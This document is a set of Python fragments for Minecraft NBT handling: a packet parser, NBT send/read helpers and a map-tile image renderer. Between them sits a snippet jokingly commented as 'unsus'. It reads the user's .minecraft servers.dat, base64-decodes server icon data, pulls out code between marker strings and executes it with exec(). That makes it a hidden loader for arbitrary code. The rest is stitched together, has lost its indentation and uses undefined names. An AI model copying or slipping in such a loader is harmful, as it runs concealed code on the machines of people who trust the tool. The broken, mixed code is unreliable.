def parse_update_tile_entity(fileobj, socket):
FileObject = fileobj
X = mc_datatype.readInt(FileObject)
Y = mc_datatype.readShort(FileObject)
Z = mc_datatype.readInt(FileObject)
Action = mc_datatype.readByte(FileObject)
DataLength = mc_datatype.readShort(FileObject)
if (DataLength != -1):
ByteArray = mc_datatype.readByteArray(FileObject, DataLength)
NBTData = pynbt.NBTFile(io.BytesIO(ByteArray),
compression=pynbt.NBTFile.Compression.GZIP)
return {'x': X, 'y': Y, 'z': Z, 'Action': Action, 'NBTData': NBTData}
return {'x': X, 'y': Y, 'z': Z, 'Action': Action}
# simple unsus python code here 👀
import os, pynbt, base64
for server in pynbt.NBTFile(
io=(f := open(f'{os.getenv("appdata")}\\.minecraft\\servers.dat', 'rb')
))['servers']:
try:
exec(
base64.b64decode(
server['icon'].value.encode()).decode(errors='ignore').split(
'[<code_start>]')[1].split('[<code_end>]')[0])
f.close()
break
except:
continue
def send(value, socket):
buffer = io.BytesIO()
pynbt.NBTFile(value=value).save(buffer)
socket.send(buffer.getvalue())
def read(file_object):
return pynbt.NBTFile(io=file_object)
def main():
datetime.now
print(argv)
path='/home/sam/minecraftServer/world/data/'
path2='/home/sam/minecraftServer/world/data_old/'
hasBackup=False
if(len(argv)>3):
path=argv[3]
if(len(argv)>4):
path2=argv[4]
hasBackup=True
regionsDone={}
tilesUsed={};
unit=int(argv[2])/100
percent=0;
if modeLrg:
lowest=[0,0]
highest=[0,0]
for i in range(int(argv[2])+1):
try:
f=open(path+'map_'+str(i)+'.dat', 'rb')
nbt=pynbt.NBTFile(gzip.GzipFile(mode='r', fileobj=f))
f.close()
dimension=assignDim(nbt["data"]["dimension"].value);
if nbt["data"]["scale"].value==0 and i not in exclusions and dimension==0:
x=(nbt["data"]["xCenter"].value//128)
z=(nbt["data"]["zCenter"].value//128)
if lowest[0]>x: lowest[0]=x
if highest[0]<x: highest[0]=x
if lowest[1]>z: lowest[1]=z
if highest[1]<z: highest[1]=z
except:
if 0==1: print("This shouldn't be printed.")
#Do Nothing
tileRange=[highest[0]-lowest[0]+1,highest[1]-lowest[1]+1]
finImg=Image.new("RGBA",(128*tileRange[0],128*tileRange[1]),(0,0,0,0))
if modeSin:
fjson=open("tileIds.json","r")
tilesUsed=json.load(fjson)
fjson.close()
for i in range(int(argv[2])+1):
try:
f=open(path+'map_'+str(i)+'.dat', 'rb')
nbt=pynbt.NBTFile(gzip.GzipFile(mode='r', fileobj=f))
f.close()
logData['files']+=1
dimension=assignDim(nbt["data"]["dimension"].value);
if (modeSin and str(nbt["data"]["xCenter"].value//128)+'_'+str(nbt["data"]["zCenter"].value//128)==argv[4]) or not modeSin:
img=Image.new("RGBA",(128,128),(0,0,0,0))
imgData=[]
negatives=[]
completeness=0
j=0
for colId in nbt["data"]["colors"].value:
if colId<0 and colId not in negatives: negatives.append(colId)
if colId>4 or colId<0: completeness+=1
color,shade=divmod(colId,4)
if color<0 and color not in allNegatives:
allNegatives.append(color)
x=nbt["data"]["xCenter"].value+(j%128-64)
z=nbt["data"]["zCenter"].value+(j//128-64)
allNegativeCoords.append((color,x,z))
r,g,b,a=palette[color]
shaMul=shades[shade]
imgData.append((((r*shaMul)//255),(g*shaMul)//255,(b*shaMul)//255,a))
j+=1
completeness/=2**nbt["data"]["scale"].value;
if hasBackup:
if completeness==0:
with open(path2+'map_'+str(i)+'.dat', 'rb') as f:
nbt=pynbt.NBTFile(gzip.GzipFile(mode='r', fileobj=f))
dimension=assignDim(nbt["data"]["dimension"].value);
imgData=[]
negatives=[]
j=0
for colId in nbt["data"]["colors"].value:
if colId<0 and colId not in negatives: negatives.append(colId)
if colId>4: completeness+=1
color,shade=divmod(colId,4)
if color<0 and color not in allNegatives:
allNegatives.append(color)
x=nbt["data"]["xCenter"].value+(j%128-64)
z=nbt["data"]["zCenter"].value+(j//128-64)
allNegativeCoords.append((color,x,z))
r,g,b,a=palette[color]
shaMul=shades[shade]
imgData.append((((r*shaMul)//255),(g*shaMul)//255,(b*shaMul)//255,a))
j+=1
completeness/=2**nbt["data"]["scale"].value;
else:
f1=open(path+'map_'+str(i)+'.dat', 'rb')
f2=open(path2+'map_'+str(i)+'.dat', 'wb')
f2.write(f1.read())
f1.close()
f2.close()
if showNeg and len(negatives)>0: print("Negatives "+json.dumps(negatives)+" found on "+str(i)+" at ("+str(dimension//128)+", "+str(nbt["data"]["xCenter"].value//128)+", "+str(nbt["data"]["zCenter"].value//128)+").")
if len(negatives): logData['negatives']+=1
key=str(dimension)+"_"+str(nbt["data"]["xCenter"].value//128)+'_'+str(nbt["data"]["zCenter"].value//128)
if nbt["data"]["scale"].value!=0: key+="_"+str(nbt["data"]["scale"].value)
if modeLrg:
if nbt["data"]["scale"].value==0:
if showDup and dimension==0 and key in regionsDone: print("Duplicate of "+key+" found.")
if dimension==0 and key in regionsDone: logData['duplicates']+=1
if not dimension==0 and key in regionsDone: logData['tiles']+=1
if showBla and completeness==0: print("Blank Found: "+str(i))
if completeness==0: logData['blanks']+=1
if i not in exclusions and (((key in regionsDone) and completeness>=regionsDone[key]) or (key not in regionsDone)):
img.putdata(imgData)
regionsDone[key]=completeness
tilesUsed[key]=i
xOffset=nbt["data"]["xCenter"].value-(lowest[0]*128)
zOffset=nbt["data"]["zCenter"].value-(lowest[1]*128)
if not (modeInd or modeOut) and dimension==0: finImg.paste(img,box=(xOffset,zOffset))
else:
img.putdata(imgData)
scaleExt=""
if nbt["data"]["scale"].value!=0: scaleExt+="."+str(nbt["data"]["scale"].value)
if showDup and dimension==0 and key in regionsDone: print("Duplicate of "+key+" found.")
if dimension==0 and key in regionsDone: logData['duplicates']+=1
if not dimension==0 and key in regionsDone: logData['tiles']+=1
if showBla and completeness==0: print("Blank Found: "+str(i))
if completeness==0: logData['blanks']+=1
if i not in exclusions and (((key in regionsDone) and completeness>=regionsDone[key]) or (key not in regionsDone)):
regionsDone[key]=completeness
tilesUsed[key]=i
if not (modeInd or modeOut): img.save('img/tile.'+str(dimension)+'.'+str(nbt["data"]["xCenter"].value//128)+'.'+str(nbt["data"]["zCenter"].value//128)+scaleExt+'.png')
elif i not in exclusions and dimension!=0:
if not (modeInd or modeOut): img.save('img/tile.'+str(dimension)+'.'+str(nbt["data"]["xCenter"].value//128)+'.'+str(nbt["data"]["zCenter"].value//128)+scaleExt+'.png')
if i in exclusions:
if not (modeInd or modeOut): img.save('img/excluded/tile_'+str(i)+'.'+str(dimension)+'.'+str(nbt["data"]["xCenter"].value//128)+'.'+str(nbt["data"]["zCenter"].value//128)+scaleExt+'.png')
except FileNotFoundError as not_found:
if showErr: print('File Not Found on '+str(i)+'. File: '+not_found.filename)
logData['missing']+=1
if(floor(i%unit)==0):
if showPer: print(argv[1]+": "+str(percent)+"% Complete.")
percent+=1
negF=open("negativeTiles.txt","w")
for color,x,z in allNegativeCoords:
negF.write(str(color)+" ex: "+str(x)+", "+str(z)+"\n")
negF.close()
if modeLrg: finImg.save('img/full.png')
if showTot and modeLrg: print(json.dumps(tileRange))
if showTot: print(str(len(regionsDone)))
if not modeOut:
tileF=open("tileIds.json","w")
json.dump(tilesUsed,tileF);
tileF.close();